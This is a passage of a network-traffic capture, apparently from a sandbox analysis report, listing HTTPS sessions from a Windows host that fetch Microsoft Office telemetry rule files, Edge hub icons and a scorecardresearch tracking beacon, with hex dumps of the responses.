2024-11-20 20:05:49 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:49 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:49 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 3585b350-301e-005d-097c-3be448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200549Z-178bfbc474bwh9gmhC1NYCy3rs00000000n0000000000ycs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:49 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.7	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:49 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:49 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:49 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 138215a1-101e-0017-6465-3b47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200549Z-178bfbc474bbbqrhhC1NYCvw7400000000qg0000000002z8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:49 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.7	49817	18.165.220.66	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:50 UTC	925	OUT	GET /b?rn=1732138119238&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=27F5C03F1FAA650B38E3D5021EB364FD&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 20:05:51 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Wed, 20 Nov 2024 20:05:50 GMT Accept-CH: UA, Platform, Arch, Model, Mobile Location: /b2?rn=1732138119238&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=27F5C03F1FAA650B38E3D5021EB364FD&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=13A94585ddd6408dfef71121732133150; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=13A94585ddd6408dfef71121732133150; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 X-Cache: Miss from cloudfront Via: 1.1 fb6afc857f0eaed863f06738b3882546.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BAH53-P1 X-Amz-Cf-Id: wODKyvbwJBQLDxVnHF0X6S43fh2-f1kRqC876HZDFGEQSG_p-jFhZA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.7	49848	13.107.246.40	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:50 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 20:05:51 UTC	543	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:51 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 4ee2e47e-001e-0023-6952-3b07cc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T200551Z-178bfbc474bnwsh4hC1NYC2ubs00000000kg000000005t5g Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 20:05:51 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.7	49849	13.107.246.40	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:50 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 20:05:51 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:51 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 4d308786-a01e-0025-2863-3bf0b4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T200551Z-1777c6cb7549j9hhhC1TEBzmcc00000009x000000000r2x2 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 20:05:51 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.7	49853	13.107.246.40	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:50 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 20:05:51 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:51 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: ed73dd0d-d01e-006e-40d9-3ac12e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T200551Z-185f5d8b95cwtv72hC1NYC141w0000000agg000000018g89 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 20:05:51 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.7	49850	13.107.246.40	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:50 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 20:05:51 UTC	516	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:51 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 5000eb33-001e-006c-3387-3bc3d4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T200551Z-185f5d8b95csd4bwhC1NYCq7dc0000000aq000000000b12e Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-20 20:05:51 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.7	49851	13.107.246.40	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:51 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 20:05:51 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:51 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 239bf17d-d01e-0021-1275-3b0536000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T200551Z-r1d97b99577ndm4rhC1TEBf0ps00000009bg00000000nt64 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 20:05:51 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.7	49852	13.107.246.40	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:51 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 20:05:51 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:51 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 8573f691-e01e-0022-541b-3b0631000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T200551Z-185f5d8b95c9mqtvhC1NYCghtc0000000as000000000rhwk Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 20:05:51 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.7	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:51 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:51 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:51 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: f37cb76d-d01e-0017-2085-3ab035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200551Z-1777c6cb754xjpthhC1TEBexs800000009x000000000dbzd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:51 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.7	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:51 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:51 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:51 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 7df2b923-c01e-007a-2777-3bb877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200551Z-1777c6cb754dqf99hC1TEB5nps0000000a00000000002vnc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:51 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S 